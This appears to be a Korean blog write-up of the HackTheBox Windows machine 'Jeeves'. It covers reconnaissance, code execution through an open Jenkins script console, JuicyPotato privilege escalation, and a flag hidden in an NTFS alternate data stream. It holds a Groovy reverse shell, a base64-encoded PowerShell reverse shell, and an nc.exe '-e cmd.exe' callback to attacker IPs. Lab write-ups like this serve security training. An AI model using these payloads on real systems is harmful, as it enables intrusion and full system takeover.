본문 바로가기

Hacking/HackTheBox

Jeeves (win)

1.  정찰

nmap 수행

┌──(root㉿BOOK-2S941CKO4U)-[/home/surckers]
└─# nmap -p 80,135,445,5000 -sCV --min-rate 10000 10.129.249.191
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-01 23:54 KST
Nmap scan report for 10.129.249.191
Host is up (0.29s latency).

PORT     STATE    SERVICE      VERSION
80/tcp   open     http         Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
135/tcp  open     msrpc        Microsoft Windows RPC
445/tcp  open     microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5000/tcp filtered upnp
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m58s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-07-01T19:54:54
|_  start_date: 2024-07-01T16:09:47
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.02 seconds
└─# nmap -p 50000 -sCV --min-rate 10000 10.129.249.191
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 01:11 KST
Nmap scan report for jeeves.htb (10.129.249.191)
Host is up (0.28s latency).

PORT      STATE SERVICE VERSION
50000/tcp open  http    Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.61 seconds

50000번 실수

50000번 포트 익숙하지 않다!

ffuf 수행

┌──(root㉿BOOK-2S941CKO4U)-[/home/surckers]
└─# ffuf -u http://jeeves.htb:50000/FUZZ -w list/directory-list-2.3-big.txt -t 1000

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://jeeves.htb:50000/FUZZ
 :: Wordlist         : FUZZ: /home/surckers/list/directory-list-2.3-big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 1000
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

askjeeves               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 765ms]
:: Progress: [71918/1273833] :: Job [1/1] :: 1744 req/sec :: Duration: [0:00:40] :: Errors: 0 ::

 

2. exploit

해당 서비스에 웹에 접근 해보면, jenkins 가 떠 있으며, 

스크립트 콘솔을 통해 서버 측 groovy 스크립트 수행 가능

def command = "net user"
def process = command.execute()
process.waitFor()
println("Current user: ${process.in.text}")

//혹은

println("cmd /c net user".execute().text)

서버측 명령어 수행 가능 여부 확인 되어,

reverse shell 시도 

groovy 스크립트 shell이 있어 해당 쉘 사용

String host="10.10.14.51";int port=3333;String cmd="powershell";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

느린건지 서버에서 계속 로딩 중이고 shell이 떨어지지 않아, powershell 스크립트 사용

"powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAxACIALAAzADMAMwAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==".execute()

 

여기서 잠깐 groovy 스크립트의 사용 쓰임새 알아보쟈!!

- execute() 함수를 사용하여 외부 명령어를 실행

def command = "echo Hello, World!"
def process = command.execute()

// 명령어의 출력 읽기
def output = process.text
println "Output: ${output}"
// 특정 Job 이름 설정
def jobName = "example-job"

// Jenkins에서 해당 Job 가져오기
def job = Jenkins.instance.getItem(jobName)
if (job) {
    // 새로운 빌드 트리거
    def build = job.scheduleBuild2(0)
    
    // 빌드 완료를 기다림
    build.get().waitForStart()
    build.get().waitForCompletion()
    
    // 빌드 결과 출력
    println("Build result: ${build.get().getResult()}")
} else {
    println("Job not found: ${jobName}")
}

User 획득

Root 따러 드가자아~!

3. 권한 상승

윈도우의 기본 whoami /priv

PS C:\Users\Administrator\.jenkins> net user

User accounts for \\JEEVES

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
kohsuke
The command completed successfully.

PS C:\Users\Administrator\.jenkins> winber
PS C:\Users\Administrator\.jenkins> winver
PS C:\Users\Administrator\.jenkins> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled
PS C:\Users\Administrator\.jenkins>

 

종훈 선임님이 말하셨지~! SeImpersonatePrivilege = Juicy~~~~~~~~Poooootato~!!이 권한 목록을 보면, 현재 사용자에게

  • SeChangeNotifyPrivilege: 파일 시스템 및 레지스트리의 변경 사항을 모니터링할 수 있는 권한
  • SeImpersonatePrivilege: 클라이언트 인증 후 클라이언트를 가장할 수 있는 권한
    => Token Impersonation 공격 : 시스템 내에서 더 높은 권한의 토큰 획득 공격
    => Pass-the Token 공격 : 다른 시스템의 인증 토큰을 훔쳐서 이를 사용하여 네트워크 상의 다른 시스템에 인증하는 방식
  • SeCreateGlobalPrivilege: 전역 객체를 생성할 수 있는 권한

다만, Juicy Potato 는 Windows Server 2019 and Windows 10 build 1809 onwards  에서 사용 불가

 PrintSpoofer, RoguePotato, SharpEfsPotato 가 대신 사용 가능

PS C:\Users\Administrator\.jenkins> systeminfo | findstr OS
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.10586 N/A Build 10586
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
BIOS Version:              VMware, Inc. VMW71.00V.21805430.B64.2305221826, 5/22/2023
PS C:\Users\Administrator\.jenkins>

 

Juicy Potato 에 대해서 잠깐 설명!

RottenPotatoNG tool 에 기반을 두고 있으며, RottenPotatoNG 는 BITS(Background Intelligent Transfer Service) MITM 을 수행 하는 기법임
 => 127.0.0.1:6666 에 리스너를 설정, BITS 서비스가 해당 포트로 요청을 보내도록 해, 토큰 획득

 => 전제, SeImpersonate 또는 SeAssignPrimaryToken 권한

 => 문제점 : BITS 서비스 비활성화 되면 사용 못함, 6666포트 사용중일때 사용 못함

 

대체 권한 상승 기법

 

  • JuicyPotato: RottenPotatoNG의 후속 버전으로, 더 많은 CLSID와 COM 객체를 사용하여 SeImpersonate 권한을 이용한 권한 상승을 시도
  • PrintSpoofer: SeImpersonate 권한을 이용하여 프린터 스풀러 서비스의 취약점을 공격하여 권한 상승을 시도
  • RoguePotato: RottenPotatoNG와 유사한 공격 기법을 사용하지만, 다른 COM 서버를 사용하여 공격을 수행

> CLSID (Class Identifier)는 COM 객체를 고유하게 식별하는 128비트 식별자
(윈도우 버젼별 CLSID : https://ohpe.it/juicy-potato/CLSID/)

 

JuicyPotato allows you to: (옵션 정도로 생각하면 될 껏 같다)

  • Target CLSID pick any CLSID you want. Here you can find the list organized by OS.

  • COM Listening port define COM listening port you prefer (instead of the marshalled hardcoded 6666)

  • COM Listening IP address bind the server on any IP

  • Process creation mode depending on the impersonated user’s privileges you can choose from:

    • CreateProcessWithToken (needs SeImpersonate)

    • CreateProcessAsUser (needs SeAssignPrimaryToken)

    • both

  • Process to launch launch an executable or script if the exploitation succeeds

  • Process Argument customize the launched process arguments

  • RPC Server address for a stealthy approach you can authenticate to an external RPC server

  • RPC Server port useful if you want to authenticate to an external server and firewall is blocking port 135

  • TEST mode mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See here for testing

 
본격적으로 권한상승!!
 > 파일 업로드 수행!
$python -m http.server -80
> shell 에서 파일 다운로드
wget http://10.10.x.x/{파일명} -OutFile {파일명}
> ps1 스크립트 및 bat 파일 실행하여, 가능한 clsid 및 포트 확인
  ( 그전에, 실행 정책 설정 해주자!!
  • Set-ExecutionPolicy RemoteSigned -Scope Process
    ==>Restricted: 스크립트를 실행할 수 없습니다. (기본 설정)
    ==>AllSigned: 모든 스크립트와 구성 파일은 신뢰할 수 있는 게시자의 디지털 서명으로 서명되어 있어야 합니다.
    ==>RemoteSigned: 로컬에서 생성된 스크립트는 서명이 필요 없지만, 인터넷에서 다운로드한 스크립트는 서명이 필요합니다.
    ==>Unrestricted: 모든 스크립트를 실행할 수 있습니다. (인터넷에서 다운로드한 스크립트를 실행할 때 경고가 표시됩니다.)
    ==>Bypass: 모든 스크립트를 무조건 실행합니다. (보안 검사 없음)

  • CLSID 찾는 ps1 실행 시 
  •  리스트로 포트 및 CLSID 매핑 시 (이게 꼭 필요한 가 싶음, 그냥 열린 포트에 어떤 CLSID 다 될껏 같은데)

 > Juicy 실행 해보자

PS C:\Users\kohsuke\Downloads> .\JuicyPotato.exe -l 10000 -c "{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}" -p c:\windows\system32\cmd.exe -a "/c c:\users\kohsuke\Downloads\nc.exe -e cmd.exe 10.10.14.57 5555" -t *
Testing {42CBFAA7-A4A7-47BB-B422-BD10E9D02700} 10000
......
[+] authresult 0
{42CBFAA7-A4A7-47BB-B422-BD10E9D02700};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

역시 가용한 포트에 사용할 수 있는 clsid 넣으면 되는 거였음

 

하지만 이문제는 여기서 끝이 아니었다는.. 영영 못 풀뻔

띠로리... 

 

일단 root flag 를 얻긴 했다 ㅎㅎ

저런 형태의 파일을ADS( Alternate Data Streams) 이라고 하는데 NTFS 파일 시스템에서 파일에 데이터를 숨길수 있다고 한다!

 

음 다음 부터 침투테스트를 할때 window 서버에 먼가 쌔한 파일이 있으면 잊지 말자
dir /R : 대체 스트림 보여주는 옵션

 

 

attrib 명령어로는 대체 데이터 스트림 존재 여부를  알 수는 없을 껏 같다.

 

-The end-

'Hacking > HackTheBox' 카테고리의 다른 글

secnotes (win)  (1) 2024.08.05
permx (Linux)  (2) 2024.07.23
Union (Linux)  (1) 2024.06.27
pov (win)  (0) 2024.06.12
solarlab  (0) 2024.05.29